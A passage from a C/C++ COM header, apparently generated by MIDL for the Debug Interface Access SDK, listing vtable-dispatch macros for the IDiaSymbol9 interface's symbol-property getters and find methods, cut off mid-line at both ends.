IDiaSymbol9_get_backEndMajor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_backEndMajor(This,pRetVal) ) \n\n#define IDiaSymbol9_get_backEndMinor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_backEndMinor(This,pRetVal) ) \n\n#define IDiaSymbol9_get_backEndBuild(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_backEndBuild(This,pRetVal) ) \n\n#define IDiaSymbol9_get_sourceFileName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_sourceFileName(This,pRetVal) ) \n\n#define IDiaSymbol9_get_unused(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_unused(This,pRetVal) ) \n\n#define IDiaSymbol9_get_thunkOrdinal(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_thunkOrdinal(This,pRetVal) ) \n\n#define IDiaSymbol9_get_thisAdjust(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_thisAdjust(This,pRetVal) ) \n\n#define IDiaSymbol9_get_virtualBaseOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBaseOffset(This,pRetVal) ) \n\n#define IDiaSymbol9_get_virtual(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtual(This,pRetVal) ) \n\n#define IDiaSymbol9_get_intro(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_intro(This,pRetVal) ) \n\n#define IDiaSymbol9_get_pure(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_pure(This,pRetVal) ) \n\n#define IDiaSymbol9_get_callingConvention(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_callingConvention(This,pRetVal) ) \n\n#define IDiaSymbol9_get_value(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_value(This,pRetVal) ) \n\n#define IDiaSymbol9_get_baseType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseType(This,pRetVal) ) \n\n#define IDiaSymbol9_get_token(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_token(This,pRetVal) ) \n\n#define IDiaSymbol9_get_timeStamp(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_timeStamp(This,pRetVal) ) \n\n#define IDiaSymbol9_get_guid(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_guid(This,pRetVal) ) \n\n#define IDiaSymbol9_get_symbolsFileName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_symbolsFileName(This,pRetVal) ) \n\n#define IDiaSymbol9_get_reference(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_reference(This,pRetVal) ) \n\n#define IDiaSymbol9_get_count(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_count(This,pRetVal) ) \n\n#define IDiaSymbol9_get_bitPosition(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_bitPosition(This,pRetVal) ) \n\n#define IDiaSymbol9_get_arrayIndexType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_arrayIndexType(This,pRetVal) ) \n\n#define IDiaSymbol9_get_packed(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_packed(This,pRetVal) ) \n\n#define IDiaSymbol9_get_constructor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_constructor(This,pRetVal) ) \n\n#define IDiaSymbol9_get_overloadedOperator(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_overloadedOperator(This,pRetVal) ) \n\n#define IDiaSymbol9_get_nested(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_nested(This,pRetVal) ) \n\n#define IDiaSymbol9_get_hasNestedTypes(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasNestedTypes(This,pRetVal) ) \n\n#define IDiaSymbol9_get_hasAssignmentOperator(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasAssignmentOperator(This,pRetVal) ) \n\n#define IDiaSymbol9_get_hasCastOperator(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasCastOperator(This,pRetVal) ) \n\n#define IDiaSymbol9_get_scoped(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_scoped(This,pRetVal) ) \n\n#define IDiaSymbol9_get_virtualBaseClass(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBaseClass(This,pRetVal) ) \n\n#define IDiaSymbol9_get_indirectVirtualBaseClass(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_indirectVirtualBaseClass(This,pRetVal) ) \n\n#define IDiaSymbol9_get_virtualBasePointerOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBasePointerOffset(This,pRetVal) ) \n\n#define IDiaSymbol9_get_virtualTableShape(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualTableShape(This,pRetVal) ) \n\n#define IDiaSymbol9_get_lexicalParentId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lexicalParentId(This,pRetVal) ) \n\n#define IDiaSymbol9_get_classParentId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_classParentId(This,pRetVal) ) \n\n#define IDiaSymbol9_get_typeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_typeId(This,pRetVal) ) \n\n#define IDiaSymbol9_get_arrayIndexTypeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_arrayIndexTypeId(This,pRetVal) ) \n\n#define IDiaSymbol9_get_virtualTableShapeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualTableShapeId(This,pRetVal) ) \n\n#define IDiaSymbol9_get_code(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_code(This,pRetVal) ) \n\n#define IDiaSymbol9_get_function(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_function(This,pRetVal) ) \n\n#define IDiaSymbol9_get_managed(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_managed(This,pRetVal) ) \n\n#define IDiaSymbol9_get_msil(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_msil(This,pRetVal) ) \n\n#define IDiaSymbol9_get_virtualBaseDispIndex(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBaseDispIndex(This,pRetVal) ) \n\n#define IDiaSymbol9_get_undecoratedName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_undecoratedName(This,pRetVal) ) \n\n#define IDiaSymbol9_get_age(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_age(This,pRetVal) ) \n\n#define IDiaSymbol9_get_signature(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_signature(This,pRetVal) ) \n\n#define IDiaSymbol9_get_compilerGenerated(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_compilerGenerated(This,pRetVal) ) \n\n#define IDiaSymbol9_get_addressTaken(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_addressTaken(This,pRetVal) ) \n\n#define IDiaSymbol9_get_rank(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_rank(This,pRetVal) ) \n\n#define IDiaSymbol9_get_lowerBound(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lowerBound(This,pRetVal) ) \n\n#define IDiaSymbol9_get_upperBound(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_upperBound(This,pRetVal) ) \n\n#define IDiaSymbol9_get_lowerBoundId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lowerBoundId(This,pRetVal) ) \n\n#define IDiaSymbol9_get_upperBoundId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_upperBoundId(This,pRetVal) ) \n\n#define IDiaSymbol9_get_dataBytes(This,cbData,pcbData,pbData)\t\\\n    ( (This)->lpVtbl -> get_dataBytes(This,cbData,pcbData,pbData) ) \n\n#define IDiaSymbol9_findChildren(This,symtag,name,compareFlags,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildren(This,symtag,name,compareFlags,ppResult) ) \n\n#define IDiaSymbol9_findChildrenEx(This,symtag,name,compareFlags,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildrenEx(This,symtag,name,compareFlags,ppResult) ) \n\n#define IDiaSymbol9_findChildrenExByAddr(This,symtag,name,compareFlags,isect,offset,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildrenExByAddr(This,symtag,name,compareFlags,isect,offset,ppResult) ) \n\n#define IDiaSymbol9_findChildrenExByVA(This,symtag,name,compareFlags,va,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildrenExByVA(This,symtag,name,compareFlags,va,ppResult) ) \n\n#define IDiaSymbol9_findChildrenExByRVA(This,symtag,name,compareFlags,rva,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildrenExByRVA(This,symtag,name,compareFlags,rva,ppResult) ) \n\n#define IDiaSymbol9_get_targetSection(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_targetSection(This,pRetVal) ) \n\n#define IDiaSymbol9_get_targetOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_targetOffset(This,pRetVal) ) \n\n#define IDiaSymbol9_get_targetRelativeVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_targetRelativeVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol9_get_targetVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_targetVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol9_get_machineType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_machineType(This,pRetVal) ) \n\n#define IDiaSymbol9_get_oemId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_oemId(This,pRetVal) ) \n\n#define IDiaSymbol9_get_oemSymbolId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_oemSymbolId(This,pRetVal) ) \n\n#define IDiaSymbol9_get_types(This,cTypes,pcTypes,pTypes)\t\\\n    ( (This)->lpVtbl -> get_types(This,cTypes,pcTypes,pTypes) ) \n\n#define IDiaSymbol9_get_typeIds(This,cTypeIds,pcTypeIds,pdwTypeIds)\t\\\n    ( (This)->lpVtbl -> get_typeIds(This,cTypeIds,pcTypeIds,pdwTypeIds) ) \n\n#define IDiaSymbol9_get_objectPointerType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_objectPointerType(This,pRetVal) ) \n\n#define IDiaSymbol9_get_udtKind(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_udtKind(This,pRetVal) ) \n\n#define IDiaSymbol9_get_undecoratedNameEx(This,undecorateOptions,name)\t\\\n    ( (This)->lpVtbl -> get_undecoratedNameEx(This,undecorateOptions,name) ) \n\n#define IDiaSymbol9_get_noReturn(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_noReturn(This,pRetVal) ) \n\n#define IDiaSymbol9_get_customCallingConvention(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_customCallingConvention(This,pRetVal) ) \n\n#define IDiaSymbol9_get_noInline(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_noInline(This,pRetVal) ) \n\n#define IDiaSymbol9_get_optimizedCodeDebugInfo(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_optimizedCodeDebugInfo(This,pRetVal) ) \n\n#define IDiaSymbol9_get_notReached(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_notReached(This,pRetVal) ) \n\n#define IDiaSymbol9_get_interruptReturn(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_interruptReturn(This,pRetVal) ) \n\n#define IDiaSymbol9_get_farReturn(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_farReturn(This,pRetVal) ) \n\n#define IDiaSymbol9_get_isStatic(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isStatic(This,pRetVal) ) \n\n#define IDiaSymbol9_get_hasDebugInfo(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasDebugInfo(This,pRetVal) ) \n\n#define IDiaSymbol9_get_isLTCG(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isLTCG(This,pRetVal) ) \n\n#define IDiaSymbol9_get_isDataAligned(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isDataAligned(This,pRetVal) ) \n\n#define IDiaSymbol9_get_hasSecurityChecks(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasSecurityChecks(This,pRetVal) ) \n\n#define IDiaSymbol9_get_compilerName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_compilerName(This,pRetVal) ) \n\n#define IDiaSymbol9_get_hasAlloca(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasAlloca(This,pRetVal) ) \n\n#define IDiaSymbol9_get_hasSetJump(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasSetJump(This,pRetVal) ) \n\n#define IDiaSymbol9_get_hasLongJump(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasLongJump(This,pRetVal) ) \n\n#define IDiaSymbol9_get_hasInlAsm(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasInlAsm(This,pRetVal) ) \n\n#define IDiaSymbol9_get_hasEH(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasEH(This,pRetVal) ) \n\n#define IDiaSymbol9_get_hasSEH(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasSEH(This,pRetVal) ) \n\n#define IDiaSymbol9_get_hasEHa(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasEHa(This,pRetVal) ) \n\n#define IDiaSymbol9_get_isNaked(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isNaked(This,pRetVal) ) \n\n#define IDiaSymbol9_get_isAggregated(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isAggregated(This,pRetVal) ) \n\n#define IDiaSymbol9_get_isSplitted(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isSplitted(This,pRetVal) ) \n\n#define IDiaSymbol9_get_container(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_container(This,pRetVal) ) \n\n#define IDiaSymbol9_get_inlSpec(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_inlSpec(This,pRetVal) ) \n\n#define IDiaSymbol9_get_noStackOrdering(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_noStackOrdering(This,pRetVal) ) \n\n#define IDiaSymbol9_get_virtualBaseTableType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBaseTableType(This,pRetVal) ) \n\n#define IDiaSymbol9_get_hasManagedCode(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasManagedCode(This,pRetVal) ) \n\n#define IDiaSymbol9_get_isHotpatchable(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isHotpatchable(This,pRetVal) ) \n\n#define IDiaSymbol9_get_isCVTCIL(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isCVTCIL(This,pRetVal) ) \n\n#define IDiaSymbol9_get_isMSILNetmodule(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isMSILNetmodule(This,pRetVal) ) \n\n#define IDiaSymbol9_get_isCTypes(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isCTypes(This,pRetVal) ) \n\n#define IDiaSymbol9_get_isStripped(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isStripped(This,pRetVal) ) \n\n#define IDiaSymbol9_get_frontEndQFE(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frontEndQFE(This,pRetVal) ) \n\n#define IDiaSymbol9_get_backEndQFE(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_backEndQFE(This,pRetVal) ) \n\n#define IDiaSymbol9_get_wasInlined(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_wasInlined(This,pRetVal) ) \n\n#define IDiaSymbol9_get_strictGSCheck(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_strictGSCheck(This,pRetVal) ) \n\n#define IDiaSymbol9_get_isCxxReturnUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isCxxReturnUdt(This,pRetVal) ) \n\n#define IDiaSymbol9_get_isConstructorVirtualBase(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isConstructorVirtualBase(This,pRetVal) ) \n\n#define IDiaSymbol9_get_RValueReference(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_RValueReference(This,pRetVal) ) \n\n#define IDiaSymbol9_get_unmodifiedType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_unmodifiedType(This,pRetVal) ) \n\n#define IDiaSymbol9_get_framePointerPresent(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_framePointerPresent(This,pRetVal) ) \n\n#define IDiaSymbol9_get_isSafeBuffers(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isSafeBuffers(This,pRetVal) ) \n\n#define IDiaSymbol9_get_intrinsic(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_intrinsic(This,pRetVal) ) \n\n#define IDiaSymbol9_get_sealed(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_sealed(This,pRetVal) ) \n\n#define IDiaSymbol9_get_hfaFloat(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hfaFloat(This,pRetVal) ) \n\n#define IDiaSymbol9_get_hfaDouble(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hfaDouble(This,pRetVal) ) \n\n#define IDiaSymbol9_get_liveRangeStartAddressSection(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_liveRangeStartAddressSection(This,pRetVal) ) \n\n#define IDiaSymbol9_get_liveRangeStartAddressOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_liveRangeStartAddressOffset(This,pRetVal) ) \n\n#define IDiaSymbol9_get_liveRangeStartRelativeVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_liveRangeStartRelativeVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol9_get_countLiveRanges(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_countLiveRanges(This,pRetVal) ) \n\n#define IDiaSymbol9_get_liveRangeLength(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_liveRangeLength(This,pRetVal) ) \n\n#define IDiaSymbol9_get_offsetInUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_offsetInUdt(This,pRetVal) ) \n\n#define IDiaSymbol9_get_paramBasePointerRegisterId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_paramBasePointerRegisterId(This,pRetVal) ) \n\n#define IDiaSymbol9_get_localBasePointerRegisterId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_localBasePointerRegisterId(This,pRetVal) ) \n\n#define IDiaSymbol9_get_isLocationControlFlowDependent(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isLocationControlFlowDependent(This,pRetVal) ) \n\n#define IDiaSymbol9_get_stride(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_stride(This,pRetVal) ) \n\n#define IDiaSymbol9_get_numberOfRows(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfRows(This,pRetVal) ) \n\n#define IDiaSymbol9_get_numberOfColumns(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfColumns(This,pRetVal) ) \n\n#define IDiaSymbol9_get_isMatrixRowMajor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isMatrixRowMajor(This,pRetVal) ) \n\n#define IDiaSymbol9_get_numericProperties(This,cnt,pcnt,pProperties)\t\\\n    ( (This)->lpVtbl -> get_numericProperties(This,cnt,pcnt,pProperties) ) \n\n#define IDiaSymbol9_get_modifierValues(This,cnt,pcnt,pModifiers)\t\\\n    ( (This)->lpVtbl -> get_modifierValues(This,cnt,pcnt,pModifiers) ) \n\n#define IDiaSymbol9_get_isReturnValue(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isReturnValue(This,pRetVal) ) \n\n#define IDiaSymbol9_get_isOptimizedAway(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isOptimizedAway(This,pRetVal) ) \n\n#define IDiaSymbol9_get_builtInKind(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_builtInKind(This,pRetVal) ) \n\n#define IDiaSymbol9_get_registerType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_registerType(This,pRetVal) ) \n\n#define IDiaSymbol9_get_baseDataSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseDataSlot(This,pRetVal) ) \n\n#define IDiaSymbol9_get_baseDataOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseDataOffset(This,pRetVal) ) \n\n#define IDiaSymbol9_get_textureSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_textureSlot(This,pRetVal) ) \n\n#define IDiaSymbol9_get_samplerSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_samplerSlot(This,pRetVal) ) \n\n#define IDiaSymbol9_get_uavSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_uavSlot(This,pRetVal) ) \n\n#define IDiaSymbol9_get_sizeInUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_sizeInUdt(This,pRetVal) ) \n\n#define IDiaSymbol9_get_memorySpaceKind(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_memorySpaceKind(This,pRetVal) ) \n\n#define IDiaSymbol9_get_unmodifiedTypeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_unmodifiedTypeId(This,pRetVal) ) \n\n#define IDiaSymbol9_get_subTypeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_subTypeId(This,pRetVal) ) \n\n#define IDiaSymbol9_get_subType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_subType(This,pRetVal) ) \n\n#define IDiaSymbol9_get_numberOfModifiers(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfModifiers(This,pRetVal) ) \n\n#define IDiaSymbol9_get_numberOfRegisterIndices(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfRegisterIndices(This,pRetVal) ) \n\n#define IDiaSymbol9_get_isHLSLData(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isHLSLData(This,pRetVal) ) \n\n#define IDiaSymbol9_get_isPointerToDataMember(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isPointerToDataMember(This,pRetVal) ) \n\n#define IDiaSymbol9_get_isPointerToMemberFunction(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isPointerToMemberFunction(This,pRetVal) ) \n\n#define IDiaSymbol9_get_isSingleInheritance(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isSingleInheritance(This,pRetVal) ) \n\n#define IDiaSymbol9_get_isMultipleInheritance(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isMultipleInheritance(This,pRetVal) ) \n\n#define IDiaSymbol9_get_isVirtualInheritance(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isVirtualInheritance(This,pRetVal) ) \n\n#define IDiaSymbol9_get_restrictedType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_restrictedType(This,pRetVal) ) \n\n#define IDiaSymbol9_get_isPointerBasedOnSymbolValue(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isPointerBasedOnSymbolValue(This,pRetVal) ) \n\n#define IDiaSymbol9_get_baseSymbol(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseSymbol(This,pRetVal) ) \n\n#define IDiaSymbol9_get_baseSymbolId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseSymbolId(This,pRetVal) ) \n\n#define IDiaSymbol9_get_objectFileName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_objectFileName(This,pRetVal) ) \n\n#define IDiaSymbol9_get_isAcceleratorGroupSharedLocal(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isAcceleratorGroupSharedLocal(This,pRetVal) ) \n\n#define IDiaSymbol9_get_isAcceleratorPointerTagLiveRange(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isAcceleratorPointerTagLiveRange(This,pRetVal) ) \n\n#define IDiaSymbol9_get_isAcceleratorStubFunction(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isAcceleratorStubFunction(This,pRetVal) ) \n\n#define IDiaSymbol9_get_numberOfAcceleratorPointerTags(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfAcceleratorPointerTags(This,pRetVal) ) \n\n#define IDiaSymbol9_get_isSdl(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isSdl(This,pRetVal) ) \n\n#define IDiaSymbol9_get_isWinRTPointer(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isWinRTPointer(This,pRetVal) ) \n\n#define IDiaSymbol9_get_isRefUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isRefUdt(This,pRetVal) ) \n\n#define IDiaSymbol9_get_isValueUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isValueUdt(This,pRetVal) ) \n\n#define IDiaSymbol9_get_isInterfaceUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isInterfaceUdt(This,pRetVal) ) \n\n#define IDiaSymbol9_findInlineFramesByAddr(This,isect,offset,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineFramesByAddr(This,isect,offset,ppResult) ) \n\n#define IDiaSymbol9_findInlineFramesByRVA(This,rva,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineFramesByRVA(This,rva,ppResult) ) \n\n#define IDiaSymbol9_findInlineFramesByVA(This,va,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineFramesByVA(This,va,ppResult) ) \n\n#define IDiaSymbol9_findInlineeLines(This,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineeLines(This,ppResult) ) \n\n#define IDiaSymbol9_findInlineeLinesByAddr(This,isect,offset,length,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineeLinesByAddr(This,isect,offset,length,ppResult) ) \n\n#define IDiaSymbol9_findInlineeLinesByRVA(This,rva,length,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineeLinesByRVA(This,rva,length,ppResult) ) \n\n#define IDiaSymbol9_findInlineeLinesByVA(This,va,length,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineeLinesByVA(This,va,length,ppResult) ) \n\n#define IDiaSymbol9_findSymbolsForAcceleratorPointerTag(This,tagValue,ppResult)\t\\\n    ( (This)->lpVtbl -> findSymbolsForAcceleratorPointerTag(This,tagValue,ppResult) ) \n\n#define IDiaSymbol9_findSymbolsByRVAForAcceleratorPointerTag(This,tagValue,rva,ppResult)\t\\\n    ( (This)->lpVtbl -> findSymbolsByRVAForAcceleratorPointerTag(This,tagValue,rva,ppResult) ) \n\n#define IDiaSymbol9_get_acceleratorPointerTags(This,cnt,pcnt,pPointerTags)\t\\\n    ( (This)->lpVtbl -> get_acceleratorPointerTags(This,cnt,pcnt,pPointerTags) ) \n\n#define IDiaSymbol9_getSrcLineOnTypeDefn(This,ppResult)\t\\\n    ( (This)->lpVtbl -> getSrcLineOnTypeDefn(This,ppResult) ) \n\n#define IDiaSymbol9_get_isPGO(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isPGO(This,pRetVal) ) \n\n#define IDiaSymbol9_get_hasValidPGOCounts(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasValidPGOCounts(This,pRetVal) ) \n\n#define IDiaSymbol9_get_isOptimizedForSpeed(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isOptimizedForSpeed(This,pRetVal) ) \n\n#define IDiaSymbol9_get_PGOEntryCount(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_PGOEntryCount(This,pRetVal) ) \n\n#define IDiaSymbol9_get_PGOEdgeCount(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_PGOEdgeCount(This,pRetVal) ) \n\n#define IDiaSymbol9_get_PGODynamicInstructionCount(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_PGODynamicInstructionCount(This,pRetVal) ) \n\n#define IDiaSymbol9_get_staticSize(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_staticSize(This,pRetVal) ) \n\n#define IDiaSymbol9_get_finalLiveStaticSize(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_finalLiveStaticSize(This,pRetVal) ) \n\n#define IDiaSymbol9_get_phaseName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_phaseName(This,pRetVal) ) \n\n#define IDiaSymbol9_get_hasControlFlowCheck(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasControlFlowCheck(This,pRetVal) ) \n\n#define IDiaSymbol9_get_constantExport(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_constantExport(This,pRetVal) ) \n\n#define IDiaSymbol9_get_dataExport(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_dataExport(This,pRetVal) ) \n\n#define IDiaSymbol9_get_privateExport(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_privateExport(This,pRetVal) ) \n\n#define IDiaSymbol9_get_noNameExport(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_noNameExport(This,pRetVal) ) \n\n#define IDiaSymbol9_get_exportHasExplicitlyAssignedOrdinal(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exportHasExplicitlyAssignedOrdinal(This,pRetVal) ) \n\n#define IDiaSymbol9_get_exportIsForwarder(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exportIsForwarder(This,pRetVal) ) \n\n#define 